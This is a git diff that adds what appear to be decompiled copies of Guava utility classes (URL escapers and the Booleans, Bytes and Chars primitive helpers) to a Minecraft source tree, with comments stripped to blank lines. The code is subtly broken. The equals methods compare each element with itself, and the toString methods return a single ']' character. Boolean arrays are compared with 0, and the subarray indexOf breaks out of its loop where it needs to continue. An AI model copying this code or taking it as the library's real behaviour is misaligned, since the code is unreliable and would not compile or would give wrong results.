+      throw new IllegalArgumentException("Alphanumeric characters are always 'safe' and should not be explicitly specified");
+    }
+    
+
+    safeChars = safeChars + "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+    
+
+
+
+    if ((plusForSpace) && (safeChars.contains(" "))) {
+      throw new IllegalArgumentException("plusForSpace cannot be specified when space is a 'safe' character");
+    }
+    
+    this.plusForSpace = plusForSpace;
+    safeOctets = createSafeOctets(safeChars);
+  }
+  
+
+
+
+
+  private static boolean[] createSafeOctets(String safeChars)
+  {
+    int maxChar = -1;
+    char[] safeCharArray = safeChars.toCharArray();
+    for (char c : safeCharArray) {
+      maxChar = Math.max(c, maxChar);
+    }
+    boolean[] octets = new boolean[maxChar + 1];
+    for (char c : safeCharArray) {
+      octets[c] = true;
+    }
+    return octets;
+  }
+  
+
+
+
+
+
+  protected int nextEscapeIndex(CharSequence csq, int index, int end)
+  {
+    Preconditions.checkNotNull(csq);
+    for (; index < end; index++) {
+      char c = csq.charAt(index);
+      if ((c >= safeOctets.length) || (safeOctets[c] == 0)) {
+        break;
+      }
+    }
+    return index;
+  }
+  
+
+
+
+
+
+  public String escape(String s)
+  {
+    Preconditions.checkNotNull(s);
+    int slen = s.length();
+    for (int index = 0; index < slen; index++) {
+      char c = s.charAt(index);
+      if ((c >= safeOctets.length) || (safeOctets[c] == 0)) {
+        return escapeSlow(s, index);
+      }
+    }
+    return s;
+  }
+  
+
+
+
+
+
+  protected char[] escape(int cp)
+  {
+    if ((cp < safeOctets.length) && (safeOctets[cp] != 0))
+      return null;
+    if ((cp == 32) && (plusForSpace))
+      return PLUS_SIGN;
+    if (cp <= 127)
+    {
+
+      char[] dest = new char[3];
+      dest[0] = '%';
+      dest[2] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      dest[1] = UPPER_HEX_DIGITS[(cp >>> 4)];
+      return dest; }
+    if (cp <= 2047)
+    {
+
+      char[] dest = new char[6];
+      dest[0] = '%';
+      dest[3] = '%';
+      dest[5] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[4] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[2] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[1] = UPPER_HEX_DIGITS[(0xC | cp)];
+      return dest; }
+    if (cp <= 65535)
+    {
+
+      char[] dest = new char[9];
+      dest[0] = '%';
+      dest[1] = 'E';
+      dest[3] = '%';
+      dest[6] = '%';
+      dest[8] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[7] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[5] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[4] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[2] = UPPER_HEX_DIGITS[cp];
+      return dest; }
+    if (cp <= 1114111) {
+      char[] dest = new char[12];
+      
+
+      dest[0] = '%';
+      dest[1] = 'F';
+      dest[3] = '%';
+      dest[6] = '%';
+      dest[9] = '%';
+      dest[11] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[10] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[8] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[7] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[5] = UPPER_HEX_DIGITS[(cp & 0xF)];
+      cp >>>= 4;
+      dest[4] = UPPER_HEX_DIGITS[(0x8 | cp & 0x3)];
+      cp >>>= 2;
+      dest[2] = UPPER_HEX_DIGITS[(cp & 0x7)];
+      return dest;
+    }
+    
+    throw new IllegalArgumentException("Invalid unicode character value " + cp);
+  }
+}
diff --git a/src/minecraft/com/google/common/net/UrlEscapers.java b/src/minecraft/com/google/common/net/UrlEscapers.java
new file mode 100644
index 0000000..dbb4b58
--- /dev/null
+++ b/src/minecraft/com/google/common/net/UrlEscapers.java
@@ -0,0 +1,168 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.escape.Escaper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class UrlEscapers
+{
+  static final String URL_FORM_PARAMETER_OTHER_SAFE_CHARS = "-_.*";
+  static final String URL_PATH_OTHER_SAFE_CHARS_LACKING_PLUS = "-._~!$'()*,;&=@:";
+  
+  private UrlEscapers() {}
+  
+  public static Escaper urlFormParameterEscaper()
+  {
+    return URL_FORM_PARAMETER_ESCAPER;
+  }
+  
+  private static final Escaper URL_FORM_PARAMETER_ESCAPER = new PercentEscaper("-_.*", true);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Escaper urlPathSegmentEscaper()
+  {
+    return URL_PATH_SEGMENT_ESCAPER;
+  }
+  
+  private static final Escaper URL_PATH_SEGMENT_ESCAPER = new PercentEscaper("-._~!$'()*,;&=@:+", false);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Escaper urlFragmentEscaper()
+  {
+    return URL_FRAGMENT_ESCAPER;
+  }
+  
+  private static final Escaper URL_FRAGMENT_ESCAPER = new PercentEscaper("-._~!$'()*,;&=@:+/?", false);
+}
diff --git a/src/minecraft/com/google/common/net/package-info.java b/src/minecraft/com/google/common/net/package-info.java
new file mode 100644
index 0000000..ef0589c
--- /dev/null
+++ b/src/minecraft/com/google/common/net/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.net;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/primitives/Booleans.java b/src/minecraft/com/google/common/primitives/Booleans.java
new file mode 100644
index 0000000..841ee38
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Booleans.java
@@ -0,0 +1,491 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Booleans
+{
+  private Booleans() {}
+  
+  public static int hashCode(boolean value)
+  {
+    return value ? 1231 : 1237;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(boolean a, boolean b)
+  {
+    return a ? 1 : a == b ? 0 : -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean contains(boolean[] array, boolean target)
+  {
+    for (boolean value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(boolean[] array, boolean target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(boolean[] array, boolean target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(boolean[] array, boolean[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label64:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label64;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(boolean[] array, boolean target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(boolean[] array, boolean target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean[] concat(boolean[]... arrays)
+  {
+    int length = 0;
+    for (boolean[] array : arrays) {
+      length += array.length;
+    }
+    boolean[] result = new boolean[length];
+    int pos = 0;
+    for (boolean[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean[] ensureCapacity(boolean[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static boolean[] copyOf(boolean[] original, int length)
+  {
+    boolean[] copy = new boolean[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, boolean... array)
+  {
+    Preconditions.checkNotNull(separator);
+    if (array.length == 0) {
+      return "";
+    }
+    
+
+    StringBuilder builder = new StringBuilder(array.length * 7);
+    builder.append(array[0]);
+    for (int i = 1; i < array.length; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<boolean[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<boolean[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(boolean[] left, boolean[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Booleans.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean[] toArray(Collection<Boolean> collection)
+  {
+    if ((collection instanceof BooleanArrayAsList)) {
+      return ((BooleanArrayAsList)collection).toBooleanArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    boolean[] array = new boolean[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Boolean)Preconditions.checkNotNull(boxedArray[i])).booleanValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Boolean> asList(boolean... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new BooleanArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class BooleanArrayAsList extends AbstractList<Boolean> implements RandomAccess, Serializable {
+    final boolean[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    BooleanArrayAsList(boolean[] array) {
+      this(array, 0, array.length);
+    }
+    
+    BooleanArrayAsList(boolean[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Boolean get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Boolean.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Boolean)) && (Booleans.indexOf(array, ((Boolean)target).booleanValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Boolean)) {
+        int i = Booleans.indexOf(array, ((Boolean)target).booleanValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Boolean)) {
+        int i = Booleans.lastIndexOf(array, ((Boolean)target).booleanValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Boolean set(int index, Boolean element) {
+      Preconditions.checkElementIndex(index, size());
+      boolean oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Boolean)Preconditions.checkNotNull(element)).booleanValue();
+      return Boolean.valueOf(oldValue);
+    }
+    
+    public List<Boolean> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new BooleanArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof BooleanArrayAsList)) {
+        BooleanArrayAsList that = (BooleanArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Booleans.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 7);
+      builder.append(array[start] != 0 ? "[true" : "[false");
+      for (int i = start + 1; i < end; i++) {
+        builder.append(array[i] != 0 ? ", true" : ", false");
+      }
+      return ']';
+    }
+    
+    boolean[] toBooleanArray()
+    {
+      int size = size();
+      boolean[] result = new boolean[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+  @Beta
+  public static int countTrue(boolean... values)
+  {
+    int count = 0;
+    for (boolean value : values) {
+      if (value) {
+        count++;
+      }
+    }
+    return count;
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/Bytes.java b/src/minecraft/com/google/common/primitives/Bytes.java
new file mode 100644
index 0000000..4fe23bb
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Bytes.java
@@ -0,0 +1,387 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Bytes
+{
+  private Bytes() {}
+  
+  public static int hashCode(byte value)
+  {
+    return value;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contains(byte[] array, byte target)
+  {
+    for (byte value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int indexOf(byte[] array, byte target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(byte[] array, byte target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(byte[] array, byte[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label64:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label64;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(byte[] array, byte target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(byte[] array, byte target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static byte[] concat(byte[]... arrays)
+  {
+    int length = 0;
+    for (byte[] array : arrays) {
+      length += array.length;
+    }
+    byte[] result = new byte[length];
+    int pos = 0;
+    for (byte[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] ensureCapacity(byte[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static byte[] copyOf(byte[] original, int length)
+  {
+    byte[] copy = new byte[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte[] toArray(Collection<? extends Number> collection)
+  {
+    if ((collection instanceof ByteArrayAsList)) {
+      return ((ByteArrayAsList)collection).toByteArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    byte[] array = new byte[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Number)Preconditions.checkNotNull(boxedArray[i])).byteValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Byte> asList(byte... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new ByteArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class ByteArrayAsList extends AbstractList<Byte> implements RandomAccess, Serializable {
+    final byte[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    ByteArrayAsList(byte[] array) {
+      this(array, 0, array.length);
+    }
+    
+    ByteArrayAsList(byte[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Byte get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Byte.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Byte)) && (Bytes.indexOf(array, ((Byte)target).byteValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Byte)) {
+        int i = Bytes.indexOf(array, ((Byte)target).byteValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Byte)) {
+        int i = Bytes.lastIndexOf(array, ((Byte)target).byteValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Byte set(int index, Byte element) {
+      Preconditions.checkElementIndex(index, size());
+      byte oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Byte)Preconditions.checkNotNull(element)).byteValue();
+      return Byte.valueOf(oldValue);
+    }
+    
+    public List<Byte> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new ByteArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof ByteArrayAsList)) {
+        ByteArrayAsList that = (ByteArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Bytes.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 5);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    byte[] toByteArray()
+    {
+      int size = size();
+      byte[] result = new byte[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/primitives/Chars.java b/src/minecraft/com/google/common/primitives/Chars.java
new file mode 100644
index 0000000..9cabd8a
--- /dev/null
+++ b/src/minecraft/com/google/common/primitives/Chars.java
@@ -0,0 +1,591 @@
+package com.google.common.primitives;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.AbstractList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Chars
+{
+  public static final int BYTES = 2;
+  
+  private Chars() {}
+  
+  public static int hashCode(char value)
+  {
+    return value;
+  }
+  
+
+
+
+
+
+
+
+  public static char checkedCast(long value)
+  {
+    char result = (char)(int)value;
+    if (result != value)
+    {
+      throw new IllegalArgumentException("Out of range: " + value);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  public static char saturatedCast(long value)
+  {
+    if (value > 65535L) {
+      return 65535;
+    }
+    if (value < 0L) {
+      return '\000';
+    }
+    return (char)(int)value;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(char a, char b)
+  {
+    return a - b;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contains(char[] array, char target)
+  {
+    for (char value : array) {
+      if (value == target) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int indexOf(char[] array, char target)
+  {
+    return indexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int indexOf(char[] array, char target, int start, int end)
+  {
+    for (int i = start; i < end; i++) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(char[] array, char[] target)
+  {
+    Preconditions.checkNotNull(array, "array");
+    Preconditions.checkNotNull(target, "target");
+    if (target.length == 0) {
+      return 0;
+    }
+    
+    label64:
+    for (int i = 0; i < array.length - target.length + 1; i++) {
+      for (int j = 0; j < target.length; j++) {
+        if (array[(i + j)] != target[j]) {
+          break label64;
+        }
+      }
+      return i;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(char[] array, char target)
+  {
+    return lastIndexOf(array, target, 0, array.length);
+  }
+  
+
+  private static int lastIndexOf(char[] array, char target, int start, int end)
+  {
+    for (int i = end - 1; i >= start; i--) {
+      if (array[i] == target) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public static char min(char... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    char min = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] < min) {
+        min = array[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+
+
+
+  public static char max(char... array)
+  {
+    Preconditions.checkArgument(array.length > 0);
+    char max = array[0];
+    for (int i = 1; i < array.length; i++) {
+      if (array[i] > max) {
+        max = array[i];
+      }
+    }
+    return max;
+  }
+  
+
+
+
+
+
+
+
+
+  public static char[] concat(char[]... arrays)
+  {
+    int length = 0;
+    for (char[] array : arrays) {
+      length += array.length;
+    }
+    char[] result = new char[length];
+    int pos = 0;
+    for (char[] array : arrays) {
+      System.arraycopy(array, 0, result, pos, array.length);
+      pos += array.length;
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static byte[] toByteArray(char value)
+  {
+    return new byte[] { (byte)(value >> '\b'), (byte)value };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static char fromByteArray(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length >= 2, "array too small: %s < %s", new Object[] { Integer.valueOf(bytes.length), Integer.valueOf(2) });
+    
+    return fromBytes(bytes[0], bytes[1]);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("doesn't work")
+  public static char fromBytes(byte b1, byte b2)
+  {
+    return (char)(b1 << 8 | b2 & 0xFF);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static char[] ensureCapacity(char[] array, int minLength, int padding)
+  {
+    Preconditions.checkArgument(minLength >= 0, "Invalid minLength: %s", new Object[] { Integer.valueOf(minLength) });
+    Preconditions.checkArgument(padding >= 0, "Invalid padding: %s", new Object[] { Integer.valueOf(padding) });
+    return array.length < minLength ? copyOf(array, minLength + padding) : array;
+  }
+  
+
+
+  private static char[] copyOf(char[] original, int length)
+  {
+    char[] copy = new char[length];
+    System.arraycopy(original, 0, copy, 0, Math.min(original.length, length));
+    return copy;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String join(String separator, char... array)
+  {
+    Preconditions.checkNotNull(separator);
+    int len = array.length;
+    if (len == 0) {
+      return "";
+    }
+    
+    StringBuilder builder = new StringBuilder(len + separator.length() * (len - 1));
+    
+    builder.append(array[0]);
+    for (int i = 1; i < len; i++) {
+      builder.append(separator).append(array[i]);
+    }
+    return builder.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Comparator<char[]> lexicographicalComparator()
+  {
+    return LexicographicalComparator.INSTANCE;
+  }
+  
+  private static enum LexicographicalComparator implements Comparator<char[]> {
+    INSTANCE;
+    
+    private LexicographicalComparator() {}
+    
+    public int compare(char[] left, char[] right) { int minLength = Math.min(left.length, right.length);
+      for (int i = 0; i < minLength; i++) {
+        int result = Chars.compare(left[i], right[i]);
+        if (result != 0) {
+          return result;
+        }
+      }
+      return left.length - right.length;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static char[] toArray(Collection<Character> collection)
+  {
+    if ((collection instanceof CharArrayAsList)) {
+      return ((CharArrayAsList)collection).toCharArray();
+    }
+    
+    Object[] boxedArray = collection.toArray();
+    int len = boxedArray.length;
+    char[] array = new char[len];
+    for (int i = 0; i < len; i++)
+    {
+      array[i] = ((Character)Preconditions.checkNotNull(boxedArray[i])).charValue();
+    }
+    return array;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<Character> asList(char... backingArray)
+  {
+    if (backingArray.length == 0) {
+      return Collections.emptyList();
+    }
+    return new CharArrayAsList(backingArray);
+  }
+  
+  @GwtCompatible
+  private static class CharArrayAsList extends AbstractList<Character> implements RandomAccess, Serializable {
+    final char[] array;
+    final int start;
+    final int end;
+    private static final long serialVersionUID = 0L;
+    
+    CharArrayAsList(char[] array) {
+      this(array, 0, array.length);
+    }
+    
+    CharArrayAsList(char[] array, int start, int end) {
+      this.array = array;
+      this.start = start;
+      this.end = end;
+    }
+    
+    public int size() {
+      return end - start;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Character get(int index) {
+      Preconditions.checkElementIndex(index, size());
+      return Character.valueOf(array[(start + index)]);
+    }
+    
+    public boolean contains(Object target)
+    {
+      return ((target instanceof Character)) && (Chars.indexOf(array, ((Character)target).charValue(), start, end) != -1);
+    }
+    
+
+    public int indexOf(Object target)
+    {
+      if ((target instanceof Character)) {
+        int i = Chars.indexOf(array, ((Character)target).charValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public int lastIndexOf(Object target)
+    {
+      if ((target instanceof Character)) {
+        int i = Chars.lastIndexOf(array, ((Character)target).charValue(), start, end);
+        if (i >= 0) {
+          return i - start;
+        }
+      }
+      return -1;
+    }
+    
+    public Character set(int index, Character element) {
+      Preconditions.checkElementIndex(index, size());
+      char oldValue = array[(start + index)];
+      
+      array[(start + index)] = ((Character)Preconditions.checkNotNull(element)).charValue();
+      return Character.valueOf(oldValue);
+    }
+    
+    public List<Character> subList(int fromIndex, int toIndex) {
+      int size = size();
+      Preconditions.checkPositionIndexes(fromIndex, toIndex, size);
+      if (fromIndex == toIndex) {
+        return Collections.emptyList();
+      }
+      return new CharArrayAsList(array, start + fromIndex, start + toIndex);
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof CharArrayAsList)) {
+        CharArrayAsList that = (CharArrayAsList)object;
+        int size = size();
+        if (that.size() != size) {
+          return false;
+        }
+        for (int i = 0; i < size; i++) {
+          if (array[(start + i)] != array[(start + i)]) {
+            return false;
+          }
+        }
+        return true;
+      }
+      return super.equals(object);
+    }
+    
+    public int hashCode() {
+      int result = 1;
+      for (int i = start; i < end; i++) {
+        result = 31 * result + Chars.hashCode(array[i]);
+      }
+      return result;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder(size() * 3);
+      builder.append('[').append(array[start]);
+      for (int i = start + 1; i < end; i++) {
+        builder.append(", ").append(array[i]);
+      }
+      return ']';
+    }
+    
+    char[] toCharArray()
+    {
+      int size = size();
+      char[] result = new char[size];
+      System.arraycopy(array, start, result, 0, size);
+      return result;
+    }
+  }
+}
